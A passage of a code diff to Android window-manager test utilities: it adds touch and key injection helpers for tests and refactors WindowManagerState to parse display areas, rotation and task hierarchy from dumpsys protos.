+        final int y = bounds.top + bounds.height() / 2;
+        final long downTime = SystemClock.uptimeMillis();
+        injectMotion(downTime, downTime, MotionEvent.ACTION_DOWN, x, y, displayId, true /* sync */);
+
+        final long eventTime = SystemClock.uptimeMillis();
+        final int touchSlop = ViewConfiguration.get(mContext).getScaledTouchSlop();
+        final int tapX = x + Math.round(touchSlop / 2.0f);
+        final int tapY = y + Math.round(touchSlop / 2.0f);
+        injectMotion(downTime, eventTime, MotionEvent.ACTION_CANCEL, tapX, tapY, displayId,
+                true /* sync */);
+    }
+
+    public void tapOnDisplaySync(int x, int y, int displayId) {
+        tapOnDisplay(x, y, displayId, true /* sync*/);
+    }
+
+    public void tapOnDisplay(int x, int y, int displayId, boolean sync) {
+        tapOnDisplay(x, y, displayId, sync, /* waitAnimations */ true);
+    }
+
+    public void tapOnDisplay(int x, int y, int displayId, boolean sync, boolean waitAnimations) {
+        final long downTime = SystemClock.uptimeMillis();
+        injectMotion(downTime, downTime, MotionEvent.ACTION_DOWN, x, y, displayId, sync,
+                waitAnimations);
+
+        final long upTime = SystemClock.uptimeMillis();
+        injectMotion(downTime, upTime, MotionEvent.ACTION_UP, x, y, displayId, sync,
+                waitAnimations);
+
+        if (waitAnimations) {
+            mWmState.waitForWithAmState(state -> state.getFocusedDisplayId() == displayId,
+                    "top focused displayId: " + displayId);
+        }
+        // This is needed after a tap in multi-display to ensure that the display focus has really
+        // changed, if needed. The call to syncInputTransaction will wait until focus change has
+        // propagated from WMS to native input before returning.
+        mInstrumentation.getUiAutomation().syncInputTransactions(waitAnimations);
+    }
+
+    public void tapOnCenter(Rect bounds, int displayId) {
+        final int tapX = bounds.left + bounds.width() / 2;
+        final int tapY = bounds.top + bounds.height() / 2;
+        tapOnDisplaySync(tapX, tapY, displayId);
+    }
+
+    public void tapOnViewCenter(View view) {
+        tapOnViewCenter(view, true /* waitAnimations */);
+    }
+
+    public void tapOnViewCenter(View view, boolean waitAnimations) {
+        final int[] topleft = new int[2];
+        view.getLocationOnScreen(topleft);
+        int x = topleft[0] + view.getWidth() / 2;
+        int y = topleft[1] + view.getHeight() / 2;
+        tapOnDisplay(x, y, view.getDisplay().getDisplayId(), true /* sync */, waitAnimations);
+    }
+
+    public void tapOnStackCenter(WindowManagerState.ActivityTask stack) {
+        tapOnCenter(stack.getBounds(), stack.mDisplayId);
+    }
+
+    public void tapOnDisplayCenter(int displayId) {
+        final Rect bounds = mWmState.getDisplay(displayId).getDisplayRect();
+        tapOnDisplaySync(bounds.centerX(), bounds.centerY(), displayId);
+    }
+
+    public void tapOnDisplayCenterAsync(int displayId) {
+        final Rect bounds = mWmState.getDisplay(displayId).getDisplayRect();
+        tapOnDisplay(bounds.centerX(), bounds.centerY(), displayId, false /* sync */);
+    }
+
+    public static void injectMotion(long downTime, long eventTime, int action,
+            int x, int y, int displayId, boolean sync) {
+        injectMotion(downTime, eventTime, action, x, y, displayId, sync,
+                true /* waitForAnimations */);
+    }
+
+    public static void injectMotion(long downTime, long eventTime, int action,
+            int x, int y, int displayId, boolean sync, boolean waitAnimations) {
+        final MotionEvent event = MotionEvent.obtain(downTime, eventTime, action,
+                x, y, 0 /* metaState */);
+        event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+        event.setDisplayId(displayId);
+        getInstrumentation().getUiAutomation().injectInputEvent(event, sync, waitAnimations);
+    }
+
+    public static void injectKey(int keyCode, boolean longPress, boolean sync) {
+        final long downTime = SystemClock.uptimeMillis();
+        int repeatCount = 0;
+        KeyEvent downEvent =
+                new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN, keyCode, repeatCount);
+        getInstrumentation().getUiAutomation().injectInputEvent(downEvent, sync);
+        if (longPress) {
+            repeatCount += 1;
+            KeyEvent repeatEvent = new KeyEvent(downTime, SystemClock.uptimeMillis(),
+                    KeyEvent.ACTION_DOWN, keyCode, repeatCount);
+            getInstrumentation().getUiAutomation().injectInputEvent(repeatEvent, sync);
+        }
+        KeyEvent upEvent = new KeyEvent(downTime, SystemClock.uptimeMillis(),
+                KeyEvent.ACTION_UP, keyCode, 0 /* repeatCount */);
+        getInstrumentation().getUiAutomation().injectInputEvent(upEvent, sync);
+    }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WaitForValidActivityState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WaitForValidActivityState.java
index fd9127d..02d1044 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WaitForValidActivityState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WaitForValidActivityState.java
@@ -26,13 +26,12 @@
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
 import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.ComponentNameUtils.getWindowName;
 
 import android.content.ComponentName;
+
 import androidx.annotation.Nullable;
 
 public class WaitForValidActivityState {
@@ -90,8 +89,6 @@
             case WINDOWING_MODE_UNDEFINED: return "UNDEFINED";
             case WINDOWING_MODE_FULLSCREEN: return "FULLSCREEN";
             case WINDOWING_MODE_PINNED: return "PINNED";
-            case WINDOWING_MODE_SPLIT_SCREEN_PRIMARY: return "SPLIT_SCREEN_PRIMARY";
-            case WINDOWING_MODE_SPLIT_SCREEN_SECONDARY: return "SPLIT_SCREEN_SECONDARY";
             case WINDOWING_MODE_FREEFORM: return "FREEFORM";
             case WINDOWING_MODE_MULTI_WINDOW: return "MULTI_WINDOW";
             default:
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 91e3359..7cb7164 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -17,14 +17,15 @@
 package android.server.wm;
 
 import static android.app.ActivityTaskManager.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_DREAM;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
-import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.ProtoExtractors.extract;
 import static android.server.wm.StateLogger.log;
@@ -34,9 +35,12 @@
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.app.ActivityTaskManager;
 import android.content.ComponentName;
 import android.content.res.Configuration;
 import android.graphics.Point;
@@ -51,25 +55,26 @@
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
 
+import com.android.server.wm.nano.ActivityRecordProto;
 import com.android.server.wm.nano.AppTransitionProto;
+import com.android.server.wm.nano.ConfigurationContainerProto;
 import com.android.server.wm.nano.DisplayAreaProto;
+import com.android.server.wm.nano.DisplayContentProto;
 import com.android.server.wm.nano.DisplayFramesProto;
+import com.android.server.wm.nano.DisplayRotationProto;
 import com.android.server.wm.nano.IdentifierProto;
 import com.android.server.wm.nano.KeyguardControllerProto;
-import com.android.server.wm.nano.ActivityRecordProto;
-import com.android.server.wm.nano.ConfigurationContainerProto;
-import com.android.server.wm.nano.DisplayContentProto;
-import com.android.server.wm.nano.PinnedStackControllerProto;
+import com.android.server.wm.nano.PinnedTaskControllerProto;
 import com.android.server.wm.nano.RootWindowContainerProto;
 import com.android.server.wm.nano.TaskProto;
 import com.android.server.wm.nano.WindowContainerChildProto;
 import com.android.server.wm.nano.WindowContainerProto;
 import com.android.server.wm.nano.WindowFramesProto;
 import com.android.server.wm.nano.WindowManagerServiceDumpProto;
-import com.android.server.wm.nano.WindowTokenProto;
 import com.android.server.wm.nano.WindowStateAnimatorProto;
 import com.android.server.wm.nano.WindowStateProto;
 import com.android.server.wm.nano.WindowSurfaceControllerProto;
+import com.android.server.wm.nano.WindowTokenProto;
 
 import com.google.protobuf.nano.InvalidProtocolBufferNanoException;
 
@@ -110,6 +115,7 @@
     public static final String TRANSIT_TRANSLUCENT_ACTIVITY_CLOSE =
             "TRANSIT_TRANSLUCENT_ACTIVITY_CLOSE";
     public static final String APP_STATE_IDLE = "APP_STATE_IDLE";
+    public static final String APP_STATE_RUNNING = "APP_STATE_RUNNING";
 
     private static final String DUMPSYS_WINDOW = "dumpsys window -a --proto";
     private static final String STARTING_WINDOW_PREFIX = "Starting ";
@@ -118,6 +124,8 @@
     private static final int TYPE_NAVIGATION_BAR = 2019;
     /** @see WindowManager.LayoutParams */
     private static final int TYPE_NAVIGATION_BAR_PANEL = 2024;
+    /** @see WindowManager.LayoutParams */
+    private static final int TYPE_NOTIFICATION_SHADE = 2040;
 
     // Default minimal size of resizable task, used if none is set explicitly.
     // Must be kept in sync with 'default_minimal_size_resizable_task' dimen from frameworks/base.
@@ -129,7 +137,7 @@
     // Stacks in z-order with the top most at the front of the list, starting with primary display.
     private final List<ActivityTask> mRootTasks = new ArrayList<>();
     // Windows in z-order with the top most at the front of the list.
-    private List<WindowState> mWindowStates = new ArrayList();
+    private final List<WindowState> mWindowStates = new ArrayList<>();
     private KeyguardControllerState mKeyguardControllerState;
     private final List<String> mPendingActivities = new ArrayList<>();
     private int mTopFocusedTaskId = -1;
@@ -143,8 +151,6 @@
     private Rect mDefaultPinnedStackBounds = new Rect();
     private Rect mPinnedStackMovementBounds = new Rect();
     private String mInputMethodWindowAppToken = null;
-    private int mRotation;
-    private int mLastOrientation;
     private boolean mDisplayFrozen;
     private boolean mSanityCheckFocusedWindow = true;
 
@@ -243,12 +249,7 @@
         return TYPE_NAVIGATION_BAR == navState.getType();
     }
 
-    /** Enable/disable the mFocusedWindow check during the computeState.*/
-    void setSanityCheckWithFocusedWindow(boolean sanityCheckFocusedWindow) {
-        mSanityCheckFocusedWindow = sanityCheckFocusedWindow;
-    }
-
-    /**
+/**
      * For a given WindowContainer, traverse down the hierarchy and add all children of type
      * {@code T} to {@code outChildren}.
      */
@@ -289,6 +290,11 @@
         }
     }
 
+    /** Enable/disable the mFocusedWindow check during the computeState.*/
+    void setSanityCheckWithFocusedWindow(boolean sanityCheckFocusedWindow) {
+        mSanityCheckFocusedWindow = sanityCheckFocusedWindow;
+    }
+
     public void computeState() {
         // It is possible the system is in the middle of transition to the right state when we get
         // the dump. We try a few times to get the information we need before giving up.
@@ -371,9 +377,7 @@
         for (int i = 0; i < display.mRootTasks.size(); i++) {
             ActivityTask task = display.mRootTasks.get(i);
             mRootTasks.add(task);
-            if (task.mResumedActivity != null) {
-                mResumedActivitiesInStacks.add(task.mResumedActivity);
-            }
+            addResumedActivity(task);
         }
 
         if (display.mDefaultPinnedStackBounds != null) {
@@ -382,6 +386,17 @@
         }
     }
 
+    private void addResumedActivity(ActivityTask task) {
+        final int numChildTasks = task.mTasks.size();
+        if (numChildTasks > 0) {
+            for (int i = numChildTasks - 1; i >=0; i--) {
+                addResumedActivity(task.mTasks.get(i));
+            }
+        } else if (task.mResumedActivity != null) {
+            mResumedActivitiesInStacks.add(task.mResumedActivity);
+        }
+    }
+
     private void parseSysDumpProto(byte[] sysDump) throws InvalidProtocolBufferNanoException {
         reset();
 
@@ -416,8 +431,6 @@
             mInputMethodWindowAppToken = Integer.toHexString(state.inputMethodWindow.hashCode);
         }
         mDisplayFrozen = state.displayFrozen;
-        mRotation = state.rotation;
-        mLastOrientation = state.lastOrientation;
     }
 
     private void reset() {
@@ -438,8 +451,6 @@
         mDefaultPinnedStackBounds.setEmpty();
         mPinnedStackMovementBounds.setEmpty();
         mInputMethodWindowAppToken = null;
-        mRotation = 0;
-        mLastOrientation = 0;
         mDisplayFrozen = false;
     }
 
@@ -468,15 +479,45 @@
         return null;
     }
 
+    @Nullable
+    DisplayArea getTaskDisplayArea(ComponentName activityName) {
+        final List<DisplayArea> result = new ArrayList<>();
+        for (DisplayContent display : mDisplays) {
+            final DisplayArea tda = display.getTaskDisplayArea(activityName);
+            if (tda != null) {
+                result.add(tda);
+            }
+        }
+        assertWithMessage("There must be exactly one activity among all TaskDisplayAreas.")
+                .that(result.size()).isAtMost(1);
+
+        return result.stream().findFirst().orElse(null);
+    }
+
+    @Nullable
+    DisplayArea getDisplayArea(String windowName) {
+        final List<DisplayArea> result = new ArrayList<>();
+        for (DisplayContent display : mDisplays) {
+            final DisplayArea da = display.getDisplayArea(windowName);
+            if (da != null) {
+                result.add(da);
+            }
+        }
+        assertWithMessage("There must be exactly one window among all DisplayAreas.")
+                .that(result.size()).isAtMost(1);
+
+        return result.stream().findFirst().orElse(null);
+    }
+
     int getFrontRootTaskId(int displayId) {
         return getDisplay(displayId).mRootTasks.get(0).mRootTaskId;
     }
 
-    int getFrontStackActivityType(int displayId) {
+    public int getFrontStackActivityType(int displayId) {
         return getDisplay(displayId).mRootTasks.get(0).getActivityType();
     }
 
-    int getFrontStackWindowingMode(int displayId) {
+    public int getFrontStackWindowingMode(int displayId) {
         return getDisplay(displayId).mRootTasks.get(0).getWindowingMode();
     }
 
@@ -495,25 +536,25 @@
         return mTopFocusedTaskId;
     }
 
-    int getFocusedStackActivityType() {
+    public int getFocusedStackActivityType() {
         final ActivityTask stack = getRootTask(mTopFocusedTaskId);
         return stack != null ? stack.getActivityType() : ACTIVITY_TYPE_UNDEFINED;
     }
 
-    int getFocusedStackWindowingMode() {
+    public int getFocusedStackWindowingMode() {
         final ActivityTask stack = getRootTask(mTopFocusedTaskId);
         return stack != null ? stack.getWindowingMode() : WINDOWING_MODE_UNDEFINED;
     }
 
-    String getFocusedActivity() {
+    public String getFocusedActivity() {
         return mTopResumedActivityRecord;
     }
 
-    int getResumedActivitiesCount() {
+    public int getResumedActivitiesCount() {
         return mResumedActivitiesInStacks.size();
     }
 
-    int getResumedActivitiesCountInPackage(String packageName) {
+    public int getResumedActivitiesCountInPackage(String packageName) {
         final String componentPrefix = packageName + "/";
         int count = 0;
         for (int i = mDisplays.size() - 1; i >= 0; --i) {
@@ -528,7 +569,7 @@
         return count;
     }
 
-    String getResumedActivityOnDisplay(int displayId) {
+    public String getResumedActivityOnDisplay(int displayId) {
         return getDisplay(displayId).mResumedActivity;
     }
 
@@ -536,11 +577,11 @@
         return mKeyguardControllerState;
     }
 
-    boolean containsStack(int windowingMode, int activityType) {
+    public boolean containsStack(int windowingMode, int activityType) {
         return countStacks(windowingMode, activityType) > 0;
     }
 
-    int countStacks(int windowingMode, int activityType) {
+    public int countStacks(int windowingMode, int activityType) {
         int count = 0;
         for (ActivityTask stack : mRootTasks) {
             if (activityType != ACTIVITY_TYPE_UNDEFINED
@@ -556,7 +597,7 @@
         return count;
     }
 
-    ActivityTask getRootTask(int taskId) {
+    public ActivityTask getRootTask(int taskId) {
         for (ActivityTask stack : mRootTasks) {
             if (taskId == stack.mRootTaskId) {
                 return stack;
@@ -565,7 +606,7 @@
         return null;
     }
 
-    ActivityTask getStackByActivityType(int activityType) {
+    public ActivityTask getStackByActivityType(int activityType) {
         for (ActivityTask stack : mRootTasks) {
             if (activityType == stack.getActivityType()) {
                 return stack;
@@ -574,7 +615,7 @@
         return null;
     }
 
-    ActivityTask getStandardStackByWindowingMode(int windowingMode) {
+    public ActivityTask getStandardStackByWindowingMode(int windowingMode) {
         for (ActivityTask stack : mRootTasks) {
             if (stack.getActivityType() != ACTIVITY_TYPE_STANDARD) {
                 continue;
@@ -623,7 +664,7 @@
     }
 
     /** Get display id by activity on it. */
-    int getDisplayByActivity(ComponentName activityComponent) {
+    public int getDisplayByActivity(ComponentName activityComponent) {
         final ActivityTask task = getTaskByActivity(activityComponent);
         if (task == null) {
             return -1;
@@ -639,11 +680,11 @@
         return new ArrayList<>(mRootTasks);
     }
 
-    int getStackCount() {
+    public int getStackCount() {
         return mRootTasks.size();
     }
 
-    int getDisplayCount() {
+    public int getDisplayCount() {
         return mDisplays.size();
     }
 
@@ -663,7 +704,7 @@
         return true;
     }
 
-    boolean containsActivityInWindowingMode(ComponentName activityName, int windowingMode) {
+    public boolean containsActivityInWindowingMode(ComponentName activityName, int windowingMode) {
         for (ActivityTask stack : mRootTasks) {
             final Activity activity = stack.getActivity(activityName);
             if (activity != null && activity.getWindowingMode() == windowingMode) {
@@ -673,7 +714,7 @@
         return false;
     }
 
-    boolean isActivityVisible(ComponentName activityName) {
+    public boolean isActivityVisible(ComponentName activityName) {
         for (ActivityTask stack : mRootTasks) {
             final Activity activity = stack.getActivity(activityName);
             if (activity != null) return activity.visible;
@@ -681,7 +722,7 @@
         return false;
     }
 
-    boolean isActivityTranslucent(ComponentName activityName) {
+    public boolean isActivityTranslucent(ComponentName activityName) {
         for (ActivityTask stack : mRootTasks) {
             final Activity activity = stack.getActivity(activityName);
             if (activity != null) return activity.translucent;
@@ -689,7 +730,7 @@
         return false;
     }
 
-    boolean isBehindOpaqueActivities(ComponentName activityName) {
+    public boolean isBehindOpaqueActivities(ComponentName activityName) {
         final String fullName = getActivityName(activityName);
         for (ActivityTask stack : mRootTasks) {
             final Activity activity =
@@ -707,7 +748,7 @@
         return false;
     }
 
-    boolean containsStartedActivities() {
+    public boolean containsStartedActivities() {
         for (ActivityTask stack : mRootTasks) {
             final Activity activity = stack.getActivity(
                     (a) -> !a.state.equals(STATE_STOPPED) && !a.state.equals(STATE_DESTROYED));
@@ -745,6 +786,14 @@
         return ComponentName.unflattenFromString(activity.name);
     }
 
+    ActivityTask getDreamTask() {
+        final ActivityTask dreamStack = getStackByActivityType(ACTIVITY_TYPE_DREAM);
+        if (dreamStack != null) {
+            return dreamStack.getTopTask();
+        }
+        return null;
+    }
+
     ActivityTask getHomeTask() {
         final ActivityTask homeStack = getStackByActivityType(ACTIVITY_TYPE_HOME);
         if (homeStack != null) {
@@ -772,21 +821,36 @@
                 : null;
     }
 
-    public int getStackIdByActivity(ComponentName activityName) {
+    public int getRootTaskIdByActivity(ComponentName activityName) {
         final ActivityTask task = getTaskByActivity(activityName);
         return  (task == null) ? INVALID_STACK_ID : task.mRootTaskId;
     }
 
     public ActivityTask getTaskByActivity(ComponentName activityName) {
-        return getTaskByActivity(activityName, WINDOWING_MODE_UNDEFINED);
+        return getTaskByActivity(activityName, WINDOWING_MODE_UNDEFINED, -1);
     }
 
-    ActivityTask getTaskByActivity(ComponentName activityName, int windowingMode) {
+    public ActivityTask getTaskByActivity(ComponentName activityName, int excludeTaskId) {
+        return getTaskByActivity(activityName, WINDOWING_MODE_UNDEFINED, excludeTaskId);
+    }
+
+    private ActivityTask getTaskByActivity(ComponentName activityName, int windowingMode,
+            int excludeTaskId) {
+        Activity activity = getActivity(activityName, windowingMode, excludeTaskId);
+        return activity == null ? null : activity.task;
+    }
+
+    public Activity getActivity(ComponentName activityName) {
+        return getActivity(activityName, WINDOWING_MODE_UNDEFINED, -1);
+    }
+
+    private Activity getActivity(ComponentName activityName, int windowingMode,
+            int excludeTaskId) {
         for (ActivityTask stack : mRootTasks) {
             if (windowingMode == WINDOWING_MODE_UNDEFINED
                     || windowingMode == stack.getWindowingMode()) {
-                Activity activity = stack.getActivity(activityName);
-                if (activity != null) return activity.task;
+                Activity activity = stack.getActivity(activityName, excludeTaskId);
+                if (activity != null) return activity;
             }
         }
         return null;
@@ -876,6 +940,15 @@
                 .collect(Collectors.toList());
     }
 
+    public boolean hasNotificationShade() {
+        computeState();
+        return !getMatchingWindowType(TYPE_NOTIFICATION_SHADE).isEmpty();
+    }
+
+    List<WindowState> getWindows() {
+        return new ArrayList<>(mWindowStates);
+    }
+
     List<WindowState> getMatchingWindowType(int type) {
         return getMatchingWindows(ws -> type == ws.mType).collect(Collectors.toList());
     }
@@ -928,7 +1001,7 @@
     }
 
     /** Check if at least one window which matches the specified name has shown it's surface. */
-    boolean isWindowSurfaceShown(String windowName) {
+    public boolean isWindowSurfaceShown(String windowName) {
         for (WindowState window : mWindowStates) {
             if (window.getName().equals(windowName)) {
                 if (window.isSurfaceShown()) {
@@ -940,7 +1013,7 @@
     }
 
     /** Check if at least one window which matches provided window name is visible. */
-    boolean isWindowVisible(String windowName) {
+    public boolean isWindowVisible(String windowName) {
         for (WindowState window : mWindowStates) {
             if (window.getName().equals(windowName)) {
                 if (window.isVisible()) {
@@ -951,7 +1024,7 @@
         return false;
     }
 
-    boolean allWindowSurfacesShown(String windowName) {
+    public boolean allWindowSurfacesShown(String windowName) {
         boolean allShown = false;
         for (WindowState window : mWindowStates) {
             if (window.getName().equals(windowName)) {
@@ -1001,10 +1074,6 @@
         return null;
     }
 
-    Rect getStableBounds() {
-        return getDisplay(DEFAULT_DISPLAY).mStableBounds;
-    }
-
     WindowManagerState.WindowState getInputMethodWindowState() {
         return getWindowStateForAppToken(mInputMethodWindowAppToken);
     }
@@ -1014,14 +1083,14 @@
     }
 
     public int getRotation() {
-        return mRotation;
+        return getDisplay(DEFAULT_DISPLAY).mRotation;
     }
 
-    int getLastOrientation() {
-        return mLastOrientation;
+    public int getLastOrientation() {
+        return getDisplay(DEFAULT_DISPLAY).mLastOrientation;
     }
 
-    int getFocusedDisplayId() {
+    public int getFocusedDisplayId() {
         return mFocusedDisplayId;
     }
 
@@ -1038,15 +1107,19 @@
         private Rect mAppRect = new Rect();
         private int mDpi;
         private int mFlags;
-        private Rect mStableBounds;
         private String mName;
         private int mSurfaceSize;
         private String mFocusedApp;
         private String mLastTransition;
         private String mAppTransitionState;
+        private int mRotation;
+        private boolean mFrozenToUserRotation;
+        private int mUserRotation;
+        private int mFixedToUserRotationMode;
+        private int mLastOrientation;
 
         DisplayContent(DisplayContentProto proto) {
-            super(proto.windowContainer);
+            super(proto.rootDisplayArea.windowContainer);
             mId = proto.id;
             mFocusedRootTaskId = proto.focusedRootTaskId;
             mSingleTaskInstance = proto.singleTaskInstance;
@@ -1064,9 +1137,6 @@
                 mFlags = infoProto.flags;
             }
             final DisplayFramesProto displayFramesProto = proto.displayFrames;
-            if (displayFramesProto != null) {
-                mStableBounds = extract(displayFramesProto.stableBounds);
-            }
             mSurfaceSize = proto.surfaceSize;
             mFocusedApp = proto.focusedApp;
 
@@ -1080,12 +1150,24 @@
             mAppTransitionState = appStateToString(appState);
             mLastTransition = appTransitionToString(lastTransition);
 
-            PinnedStackControllerProto pinnedStackProto = proto.pinnedStackController;
-            if (pinnedStackProto != null) {
-                mDefaultPinnedStackBounds = extract(pinnedStackProto.defaultBounds);
-                mPinnedStackMovementBounds = extract(pinnedStackProto.movementBounds);
+            PinnedTaskControllerProto pinnedTaskProto = proto.pinnedTaskController;
+            if (pinnedTaskProto != null) {
+                mDefaultPinnedStackBounds = extract(pinnedTaskProto.defaultBounds);
+                mPinnedStackMovementBounds = extract(pinnedTaskProto.movementBounds);
             }
 
+            final DisplayRotationProto rotationProto = proto.displayRotation;
+            if (rotationProto != null) {
+                mRotation = rotationProto.rotation;
+                mFrozenToUserRotation = rotationProto.frozenToUserRotation;
+                mUserRotation = rotationProto.userRotation;
+                mFixedToUserRotationMode = rotationProto.fixedToUserRotationMode;
+                mLastOrientation = rotationProto.lastOrientation;
+            }
+        }
+
+        public String getName() {
+            return mName;
         }
 
         private void addRootTasks() {
@@ -1103,10 +1185,15 @@
                 }
             }
             // Add root tasks controlled by an organizer
-            for (int i = rootOrganizedTasks.size() -1; i >= 0; --i) {
-                final ActivityTask task = rootOrganizedTasks.get(i);
-                for (int j = task.mChildren.size() - 1; j >= 0; j--) {
-                    mRootTasks.add((ActivityTask) task.mChildren.get(j));
+            while (rootOrganizedTasks.size() > 0) {
+                final ActivityTask task = rootOrganizedTasks.remove(0);
+                for (int i = task.mChildren.size() - 1; i >= 0; i--) {
+                    final ActivityTask child = (ActivityTask) task.mChildren.get(i);
+                    if (!child.mCreatedByOrganizer) {
+                        mRootTasks.add(child);
+                    } else {
+                        rootOrganizedTasks.add(child);
+                    }
                 }
             }
         }
@@ -1118,6 +1205,40 @@
             return false;
         }
 
+        @Nullable
+        DisplayArea getTaskDisplayArea(ComponentName activityName) {
+            List<DisplayArea> taskDisplayAreas = new ArrayList<>();
+            collectDescendantsOfTypeIf(DisplayArea.class, DisplayArea::isTaskDisplayArea, this,
+                    taskDisplayAreas);
+            List<DisplayArea> result = taskDisplayAreas.stream().filter(
+                    tda -> tda.containsActivity(activityName))
+                    .collect(Collectors.toList());
+
+            assertWithMessage("There must be exactly one activity among all TaskDisplayAreas.")
+                    .that(result.size()).isAtMost(1);
+
+            return result.stream().findFirst().orElse(null);
+        }
+
+        @Nullable
+        DisplayArea getDisplayArea(String windowName) {
+            List<DisplayArea> displayAreas = new ArrayList<>();
+            final Predicate<DisplayArea> p = da -> {
+                final boolean containsChildWindowToken = !da.mChildren.isEmpty()
+                        && da.mChildren.get(0) instanceof WindowToken;
+                return !da.isTaskDisplayArea() && containsChildWindowToken;
+            };
+            collectDescendantsOfTypeIf(DisplayArea.class, p, this, displayAreas);
+            List<DisplayArea> result = displayAreas.stream().filter(
+                    da -> da.containsWindow(windowName))
+                    .collect(Collectors.toList());
+
+            assertWithMessage("There must be exactly one window among all DisplayAreas.")
+                    .that(result.size()).isAtMost(1);
+
+            return result.stream().findFirst().orElse(null);
+        }
+
         ArrayList<ActivityTask> getRootTasks() {
             return mRootTasks;
         }
@@ -1130,14 +1251,6 @@
             return mDisplayRect;
         }
 
-        Rect getStableBounds() {
-            return mStableBounds;
-        }
-
-        String getName() {
-            return mName;
-        }
-
         int getFlags() {
             return mFlags;
         }
@@ -1178,6 +1291,8 @@
         private int mSurfaceWidth;
         private int mSurfaceHeight;
         boolean mCreatedByOrganizer;
+        String mAffinity;
+        boolean mHasChildPipActivity;
 
         ActivityTask(TaskProto proto) {
             super(proto.windowContainer);
@@ -1197,6 +1312,8 @@
             mSurfaceWidth = proto.surfaceWidth;
             mSurfaceHeight = proto.surfaceHeight;
             mCreatedByOrganizer = proto.createdByOrganizer;
+            mAffinity = proto.affinity;
+            mHasChildPipActivity = proto.hasChildPipActivity;
 
             if (proto.resumedActivity != null) {
                 mResumedActivity = proto.resumedActivity.title;
@@ -1221,6 +1338,10 @@
             return mTaskId == mRootTaskId;
         }
 
+        boolean isLeafTask() {
+            return mTasks.size() == 0;
+        }
+
         public int getRootTaskId() {
             return mRootTaskId;
         }
@@ -1281,11 +1402,18 @@
             return null;
         }
 
-        Activity getActivity(ComponentName activityName) {
+        public Activity getActivity(ComponentName activityName) {
             final String fullName = getActivityName(activityName);
             return getActivity((activity) -> activity.name.equals(fullName));
         }
 
+        public Activity getActivity(ComponentName activityName, int excludeTaskId) {
+            final String fullName = getActivityName(activityName);
+            return getActivity((activity) ->
+                    activity.task.mTaskId != excludeTaskId
+                            && activity.name.equals(fullName));
+        }
+
         boolean containsActivity(ComponentName activityName) {
             return getActivity(activityName) != null;
         }
@@ -1302,6 +1430,7 @@
         String state;
         boolean visible;
         boolean frontOfTask;
+        boolean inSizeCompatMode;
         int procId = -1;
         public boolean translucent;
         ActivityTask task;
@@ -1313,6 +1442,7 @@
             state = proto.state;
             visible = proto.visible;
             frontOfTask = proto.frontOfTask;
+            inSizeCompatMode = proto.inSizeCompatMode;
             if (proto.procId != 0) {
                 procId = proto.procId;
             }
@@ -1326,6 +1456,10 @@
         public String getState() {
             return state;
         }
+
+        public boolean inSizeCompatMode() {
+            return inSizeCompatMode;
+        }
     }
 
     static abstract class ActivityContainer extends WindowContainer {
@@ -1406,7 +1540,7 @@
             return windowingMode == requestedWindowingMode;
         }
 
-        int getWindowingMode() {
+        public int getWindowingMode() {
             if (mFullConfiguration == null) {
                 return WINDOWING_MODE_UNDEFINED;
             }
@@ -1427,8 +1561,45 @@
         }
     }
     public static class DisplayArea extends WindowContainer {
+        private final boolean mIsTaskDisplayArea;
+        private ArrayList<Activity> mActivities;
+        private final ArrayList<WindowState> mWindows = new ArrayList<>();
+
         DisplayArea(DisplayAreaProto proto) {
             super(proto.windowContainer);
+            mIsTaskDisplayArea = proto.isTaskDisplayArea;
+            if (mIsTaskDisplayArea) {
+                mActivities = new ArrayList<>();
+                collectDescendantsOfType(Activity.class, this, mActivities);
+            }
+            collectDescendantsOfType(WindowState.class, this, mWindows);
+        }
+
+        boolean isTaskDisplayArea() {
+            return mIsTaskDisplayArea;
+        }
+
+        boolean containsActivity(ComponentName activityName) {
+            if (!mIsTaskDisplayArea) {
+                return false;
+            }
+
+            final String fullName = getActivityName(activityName);
+            for (Activity a : mActivities) {
+                if (a.name.equals(fullName)) {
+                    return true;
+                }
+            }
+            return false;
+        }
+
+        boolean containsWindow(String windowName) {
+            for (WindowState w : mWindows) {
+                if (w.mName.equals(windowName)) {
+                    return true;
+                }
+            }
+            return false;
         }
     }
     public static class WindowToken extends WindowContainer {
